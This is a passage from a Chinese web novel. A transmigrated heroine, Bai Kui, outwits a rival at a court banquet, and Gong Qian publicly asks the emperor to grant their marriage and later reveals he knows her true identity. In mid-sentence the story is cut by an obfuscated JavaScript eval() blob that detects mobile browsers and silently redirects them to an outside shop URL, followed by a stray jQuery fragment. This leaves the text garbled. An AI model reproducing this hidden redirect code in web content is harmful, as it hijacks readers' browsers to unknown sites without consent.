常念听到白葵喊她,嘴角勾起,正如她意。
“哪来的丫鬟,也配拦我?”常念比白葵矮个几厘米,此时却是仰着头,环着胸,目光俯视着白葵,给自己增加气势。
白葵觉得好玩,常念这人倒没自己想的这么无聊。
在常念身上白葵写的时候并未花费过多笔墨去刻画,这一接触还挺让她惊喜的。
“宴席的菜品都是按照请帖数量准备的,小姐没有请帖,进去后再无吃食就不好了,您说是吗?”白葵看似把自己放到最低,实则语气里都是引导,引导常念闹大,找自己事。
“张口闭口就是小姐小姐的,本小姐没有名字吗?!”
白葵眼皮上挑,还挺上道,不过还不够,“小姐,请帖。”白葵言简意赅,态度强硬。
常念觉得自己被佛了面子,“你什么身份?敢要我的请帖?”
白葵站起身,行了个礼,笑了笑,与常念大喊大叫的形象形成了鲜明的对比,“葵儿乃廷尉府宫潜宫廷尉的远方堂妹。”
白葵这话一出,周遭发出了恍然大悟的表情,难怪敢和常家二小姐硬钢,原来是背景够硬。
常念摔袖回头,看着议论纷纷的吃瓜群众们,又扭头看着一脸得意的白葵,冷哼一声:“你胡说!宫廷尉父母双亡,无任何亲眷,你算哪门子堂妹!”
常念话音落下,周围瞬间哗然,风评逆转。
常念沾沾自喜,为自己扳倒一局而得意,余光瞥到了远远站在一旁的陈蕴,常念刚想炫耀自己刚刚为陈蕴出了一口恶气求夸夸的时候陈蕴转身离开,走的决绝。
常念疑惑,没想明白。
“哦?”
声音一出,常念顿时明白,感觉眼里都是小星星,全身上下都由一根弦绷着,冷汗直出,脑子里只有一个念想,完了,回去要挨爹爹骂了。
常念皮笑肉不笑的行了个礼,“见过宫廷尉。”
宫潜学着常念刚才的样子,目中无人,走到白葵旁边,眼里全是白葵的身影,声音柔和,“怎么了?”
吃瓜是人的天性,此刻风情再次逆转,两人举止亲密,哪怕不是堂妹,也定然有点关系,舆论的风波全都扭转到常念的身上。
常念呆住了。
白葵这人她见过的,在狩猎场上,她分明是宫潜身旁的丫鬟,虽然现在比那是更清瘦了些,但她那张见过就不会忘的脸真的太有标志性了,那是她第一次有了危机感。
常念慌了,宫潜怎么会对一个丫鬟这么亲密,他从不做自掉身价的事,除非……这个丫鬟不是真的丫鬟。
宫潜现在是十分庆幸自己当初在狩猎场没让白葵伪装一下,给了他这么好的一个时机。
“没事,只不过是常二小姐不肯出示请帖,借着,”白葵眼睛察觉到了一抹金光在慢慢向自己方向靠近,声音哽咽了几分,“借着文恙公主的身份作威作福罢了。”
随时随地大小演,白葵现都觉得奥斯卡得给自己颁个奖。
白葵半个身子躲进宫潜身前,微微探出头看着常念。
宫潜就这么一脸宠溺的看白葵借着他的名字作威作福,狐假虎威。他喜欢她的生机和鲜活。
刚才多亏了宫潜那一句亲密且温柔的“怎么了”,不然现在这惊人的效果肯定要大大减半。
她真的想大夸特夸宫潜了!爽。
白葵那句话就是故意让皇上听到的,就等着看皇上怎么处罚,陈蕴是陈称之唯一的孩子,宠着还来不及怎么甘愿让自己的女儿被别人当枪使,给自己定个欺君之罪她也认了,无非就是关进大牢几天,她又不是没进去过。
一回生,二回熟,就当回家了。
白葵变脸的程度堪比川剧变脸,脸上一脸无辜样,她本就生的楚楚可怜的样,盛满莹光的杏眼低垂,语气哽咽,带着委屈,“葵儿见过陛下。”
陈称之点头,看着宫潜站的正义凌然,没有一点想行礼的样子,也见怪不怪,冷哼一声,看着瑟瑟发—抖的常念。
太监也非常有眼力劲,顺势开口解释道:“这位是常滕阁的爱女,常家二小姐,常念。”
这么一说陈称之想起来了,嚣张跋扈,仗势欺人,嫌贫爱富种种词汇都浮现在他脑子里,当时他还劝导过陈蕴离她远点。
陈蕴给他的回答是:常念再怎么样,也比白葵那草包要好百倍。
陈称之又回头看了看白葵,不用太监提示他就已经记起,挥了挥手,示意太监不用说。
常念陈称之接触的少,但白葵他有所耳闻,其中不免宫潜在他耳边念叨,夸赞。
陈称之的好奇心成功被宫潜激了起来,想见见这个宫潜唯一在他这举荐的人,还是个女子,更重要的是宫潜竟然想娶她为妻。
一个无权无势的人有什么值得他违背圣意也要迎娶她为妻?
今日一看,得却是个有趣的女子,有勇有谋,懂的用自己的优势来谋取利益。
陈称之刚想开口,就被常念抢先,“陛下您不要被这个骗子的话所蒙蔽!她嘴里没有一句实话,刚才还冒充是宫廷尉的堂妹!”
陈称之欲言又止,带着深意看了一眼躲在宫潜身后的白葵,又看了看跟护着小鸡崽的宫潜,再一次先开口的时候又被打断。
宫潜跪了下来,不是补刚才的见面礼,而是郑重,认真的请求。不止求情,还有求婚。
宫潜那道闸门守不住了,鲜活的血液来势汹汹,争先恐后的涌入心脏,注入了一股未知的情感。
他说:“葵儿虽非臣堂妹,然为臣心上人,臣今日在此,谨请陛下赐婚。”
沉默。
长久的沉默。
陈称之原本的怒火一时飞去了别处,他没想到宫潜竟然会在大庭广众之下说出要迎娶白葵的事。
不光陈称之没想到,白葵这个当事人也没想到,不过她并没有反驳的意思。
她是想让宫潜体会追妻的感受,但她如果在这大庭广众之下拒绝最后打脸的只会是自己,所以她私下说。
总之,一定要让宫潜这个狗东西受受挫折!
等消化完宫潜说的每一个字,顿时议论纷纷,讨论程度比刚才火热了不止一点。
那些官人内心却大惊,宫潜娶了个毫无背景的女人,他的地位在皇上心中又高了百倍,往后只会越来越信任他。
朝廷又要大变革,想倒台的人不知又多了多少,宫潜真是,不鸣则已,一鸣惊人。
各府夫人小姐们则是不外露的震惊,不是说宫潜最讨厌她吗?甚至想治她于死地。
之前师碌竹命案闹得沸沸扬扬,就连府内都多少有点耳闻。
常念的反应最为激烈,常滕阁害怕常念再惹出什么乱子立马让常夫人将她拖走。
这一场闹剧没有因为换了场地就平息,讨论声依然还在。
白葵只庆幸自己安排的第一个项目是个人战,可以暂时踹口气。
白葵看着刚匆匆忙忙赶来说等他回来再解释,等满身是泥的人到了却有一句话都憋不出来的就气不打一出来,平时嘴皮子挺溜,现在怎么跟哑巴了一样,一脸无辜样装给谁看,好像刚刚求皇上赐婚的人不是他一样,还真是见过大风大浪的人啊。
“宫潜,我讨厌你。”
“嗯。”
“你应该说我也讨厌你。”
“为什么?”
“这样的话我们就表黑成功了啊。”
“……”
好冷的笑话。
最终白葵以冷笑话打开话题,但效果好像不是很理想。
白葵搓了搓胳膊。
人在尴尬的时候总会假装很忙。
白葵抬头看了看宫潜,她必须找回场子来,“我说的反话。”
“嗯。”
“嗯什么?没点表示?”
“我知道。”
“嗯?”这下轮到白葵不会了。
宫潜停住脚步,问:“嗯什么?”
“你知道什么?”
“我知道,你不是白葵。”
…………
!!!!!
?????
啥玩意?
“宫廷尉,你开什么玩笑呢,真冷。”白葵心虚。
“白葵,我认真的。”宫潜就这么用他那双穿透力的眼睛盯着白葵。
看这局面,白葵索性不装了,爱咋咋地,都是千年的狐狸,玩什么聊斋,“对,我不是她,怎么,让宫廷尉失望了?”
说完这句话她就后悔了,她从没说出这么伤人的话来,不知怎的,她想起两人在这个世界的第一次见面——
宫潜背着烛光,一步一步走向自己,缓缓开口,“白小姐,别来无恙。
“对陛下提赐婚也只是权宜之计,在宴席上我会解释,不会毁你清誉。”
啪的一下,幻想破碎,白葵的自尊心全面崩塌,她的犹豫全然是一场笑话。
她一切的所作所为都只是自己的一厢情愿。
还好,还不算太晚。
庆幸,那点小心思她没说出口。
“若我没有准备宴席呢?”白葵还想再挣/扎一下。
“我来准备。”
白葵闭了闭眼,强忍着眼泪不漾出来,她本就是很胆小的人,好不容易稍微勇敢一次,打破了她的那死守的道德,只换来了这样的结局,白葵调整好语气,“骗你的,我准备了,宴席上我提就行,我一介草民,清誉不清誉的无所谓。放心,不会毁宫廷尉的身价的。”
白葵说完转身就走,她敢保证,再不转身眼泪就会控制不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615493|205396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
住。
**
陈蕴站在树后面,以旁观者的角度看着两人,旁观者的角度看的尤为清楚,他们的爱意很浓厚。
陈蕴的手心被掐出了几个月牙印,也没感受到疼痛。
陈蕴看的入迷,以至于悦儿走过来还吓了一跳。
“母亲。”
陈蕴别过脸来,皱眉看着悦儿,“不是不让你出来?”
悦儿眼睑下垂,“我看外面热闹就……”
“算了,你身体不好快进去吧。”陈蕴整理了悦耳的披肩说。
也不知道这个赏枫狩有什么好来的,身体不好还不好好修养,非得来这破地方。
**
元成和家纯颍气喘吁吁,元成发牢骚,“白大夫真是百事无忌,这游戏也太累人了吧!不行了!我要死在这了!”元成双手掐着腰,这会儿他也就仗着宫潜不在,按平常他抱怨一句宫潜就会让他负重跑上个十公里。
元成都累成这样了,家纯颍必定好不到哪去,只见她面色潮/红,呼吸急促,弓着身子大口喘着气,双手忽闪忽闪的充当扇子给自己扇风,没有多余的力气说话只能虚虚的点头附和着。
白葵没有按照平常的赏枫狩惯例,开场喝酒赏叶,中旬吟诗作赋,最终以歌舞宴席散场,圆满结束。
她想,这样的话也太无趣了。
白葵换了玩法。
这玩法新颖是新颖,可把元成累得不轻。
也连累着家纯颍跟着劳累奔波。
也正因为家纯颍的存在,让元成苦中作乐。
俗话说,男女搭配,干活不累,他是真赞同。
白葵把开场设成了清理落下的枫叶,比谁搜寻的叶子最大,最多,最好,每个人按照自己的能力,体力,智力来选择属于自己的赛道。
等耗尽了他们的体力,正好到了午食,白葵把宴席提前到了中午,只顾着吃,说闲话的自然也就少了。
午食过后,把开场搜寻到的枫叶摆出来,让男人们在此作诗饮酒,女眷们则是用自己灵巧的双手用枫叶做手工,类似玫瑰花类的作品。
最终环节是颁奖环节,白葵自己画了好几个奖状,特意留出写名字的地方,又把宫潜闲置了好久的名画,好酒,布料什么的都当做奖品,以此鼓励。
闹出岔子来就让宫潜背锅,反正他说了一切尽自己心意,言外之意不就是他永远会为自己兜底?虽然她目前也不太需要,但也算是个底气。
不利用男人等着男人利用才是傻女人。
没有情爱就是一身轻松,还是搞事业最适合她。
白葵没把歌舞环节去掉,她邀请了莲芳阁的人来。
杏儿没有因为自己欺骗了她而愤懑,虽然也有些生气,生气的点却不是因为白葵女扮男装,而是问她:“为什么你的皮肤这么好?”
这时候白未来·创业女强人·葵下意识脱口而出,“那还不是因为我用了德希医馆的养肤霜。”
顺理成章的给自己打了把广告,提前预热了一波自己即将开业的医馆。
德希医馆是她给医馆新取的名字,宫潜是个刀子嘴豆腐心的,一开始问她医馆怎么样了他说砸了,实际上早就在黄金地段给她买了出处地契,给她重新修建了个医馆。
宫潜这人什么都好,就是太早有钟意的人了。
这次的舞曲她也是特意为了自己所研制的养肤霜所编排的,广告植入无处不在,不得不感慨一句,电视剧真是荼毒她太深,也助她成功。
下午的这场晚宴分了好几批的座次,原本最后参加晚宴的人都是位高权重的主要人员,但白葵不想错过这次好时机,就干脆提议其他人在枫树旁的亭子处赏月,赏叶,品茶。
元成作为半个策划人把白葵的计划从脑海里过了一遍,他真是自讨苦吃,为了看一眼那本《总裁请就诊》的神医书快要搭上自己半条小命。
他选的赛道是“多多益善”,顾名思义,量多的。
家纯颍是“大放光彩”赛道,虽然她直接从元成收集起来的枫叶里找就行,但元成这个不老实的孙猴子上蹿下跳的,家纯颍跟着吃力,也大汗淋漓的。
以至于家纯颍无力点头的时候心里还痛骂着他不要脸。
“接下来我们去那吧!”忽的,元成像是瞟见了哪个地方,两眼冒金星,大步流星跑过去。
家纯颍在后面追,边跑边让他慢点。
“Duang!”的一声,家纯颍吃痛,刚想骂就被元成堵住了嘴,往前面的方向指了指。
家纯颍望去后,下巴迟迟闭不上,跟脱臼了一样。
这也太……
太劲/爆了吧……
等元成反应过来的第一反应是捂住家纯颍的眼。
少儿不宜。